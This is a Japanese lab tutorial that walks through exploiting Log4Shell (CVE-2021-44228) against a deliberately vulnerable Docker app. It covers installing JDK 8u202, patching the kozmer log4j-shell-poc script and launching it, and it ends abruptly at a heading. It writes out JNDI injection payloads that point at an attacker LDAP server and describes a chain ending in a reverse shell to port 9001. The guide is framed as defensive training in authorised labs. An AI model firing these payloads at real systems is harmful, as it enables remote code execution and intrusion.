
Docker、Kali Linux、Burp Suite、log4j-shell-pocを使用してLog4Shell(CVE-2021-44228)を悪用・理解するためのハンズオンラボ。管理されたラボ環境での教育・防御訓練専用。
Log4Shell(CVE-2021-44228)は、これまでに公開された中で最も影響力のあるリモートコード実行の脆弱性の1つです。この脆弱性は、広く使用されているJavaロギングフレームワークであるApache Log4j 2に影響し、攻撃者がログメッセージ内のJNDIルックアップを悪用して任意のコードを実行することを可能にします。
このガイドでは、以下を使用した完全で再現可能なデモンストレーションラボを提供します。
log4j-shell-pocこれは、管理された環境での教育、研究、トレーニング、防御意識向上のために設計されています。 構造とスタイルは、関連する「Shellshock」ラボのREADMEと同じ精神に従っています。
poc.pyのJDK 1.8.0_202使用設定このラボは、明示的な許可を得た管理環境(自身のラボ、教室のVMなど)でのみ実施する必要があります。
Log4Shell(CVE-2021-44228)は、Apache Log4j 2における重大なRCE脆弱性です。
問題は、脆弱なLog4j2バージョンが攻撃者制御の文字列(次のようなもの)を解釈することに起因します。
${jndi:ldap://ATTACKER_IP:1389/a}
この文字列がログに記録されると、Log4jは以下の処理を行います。
このラボでは、以下のことを行います。
log4j-shell-pocを使用してKali上で悪意のあるLDAP + HTTPサーバーを実行します。curlおよびBurp Suite経由でLog4Shellペイロードを配信します。このラボの終了時点で、以下のことができるようになるはずです。
すべてのコンポーネントは、既存の仮想ラボ上で実行されます。この文書では、以下の想定とします。
| コンポーネント | 役割 / 説明 | ツール / サービス | アドレス例 |
|---|---|---|---|
| Kali Linux VM(攻撃者+ホスト) | PoCエクスプロイト、LDAPサーバー、HTTPサーバー、Netcatリスナー、Burp Suiteを実行 | Python 3、JDK 1.8.0_202、Netcat、Burp Suite、Docker、curl、Git | 192.168.1.4(Kali IP例) |
| 脆弱なLog4j2 Webアプリケーション | ターゲット。Log4Shellに対して脆弱なSpring Boot Webアプリ | Dockerイメージ: ghcr.io/christophetd/log4shell-vulnerable-app | http://127.0.0.1:8080 で公開 |
キーアイデア
攻撃者は以下の文字列を注入します。
${jndi:ldap://192.168.1.4:1389/a}
をHTTPヘッダーに。脆弱なアプリはそれをLog4j2でログに記録 → 192.168.1.4:1389 に対してJNDI LDAPルックアップを実行 → http://192.168.1.4:8000 から悪意のあるクラスをダウンロード → そのクラスを実行し、192.168.1.4:9001 へのリバースシェルを開きます。
Kali には以下が必要です。
nc)このガイド全体で、KaliのIPは次のとおりとします。
192.168.1.4
IPが異なる場合は、すべてのコマンドを適宜調整してください。
PoCは、**Java SE 8 Update 202(JDK 1.8.0_202)**に依存しています。これは、それ以降のJavaバージョンではこのエクスプロイトで使用されるリモートクラスローディング動作が制限されるためです。
KaliにすでにOpenJDK 21(または類似のもの)がインストールされていても、8u202を別途インストールする必要があります。
mkdir -p ~/Log4Shell
cd ~/Log4Shell
ミラールート:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Linux x64 tarball(約185 MB)をダウンロード:
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # 約185Mのはず
/usr/bin/jdk1.8.0_202 に展開sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
--strip-components=1 オプションは、アーカイブのトップレベルディレクトリを削除し、ファイルが /usr/bin/jdk1.8.0_202 の直下に配置されるようにします。
/usr/bin/jdk1.8.0_202/bin/java -version
期待される出力:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
これが表示されれば、JDK 1.8.0_202 は正しくインストールされています。
Kaliの新しいターミナルで(~/Log4Shell にい続けて構いません):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
次のようなログが表示されるはずです。
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ でアクセス可能になります。簡単な動作確認:
curl http://127.0.0.1:8080/
Whitelabel Error Page(HTTP 400)が表示されるかもしれません。問題ありません。必要なのはアプリが実行され、リクエストをログに記録することだけです。
log4j-shell-poc のクローン新しいターミナルで:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
ファイルを確認:
ls
# poc.py, target/, README, etc. Exploit.java は後で生成されます。
poc.py のJDK 1.8.0_202使用設定デフォルトでは、poc.py はリポジトリ内の jdk1.8.0_20 というディレクトリにローカルJDKがあることを期待します。代わりにJDK 8u202を /usr/bin/jdk1.8.0_202 にインストールしたため、スクリプトを更新する必要があります。
poc.py をエディタで開くnano poc.py
jdk1.8.0_20 を検索します(nanoの場合: Ctrl+W、jdk1.8.0_20 と入力し、Enter)。
次のような3か所が見つかるはずです。
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
次のように置き換えます。
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
保存して終了:
Ctrl + O → EnterCtrl + XこれでPoCは /usr/bin の JDK 1.8.0_202 を使用するようになります。
~/Log4Shell/log4j-shell-poc から:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
パラメータ:
--userip – Kali IP(攻撃者): 例 192.168.1.4。--webport – 組み込みHTTPサーバーのポート: 8000。--lport – ペイロードが接続してくるポート: 9001。すべてが正しく設定されていれば、次のような表示がされるはずです。
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
重要: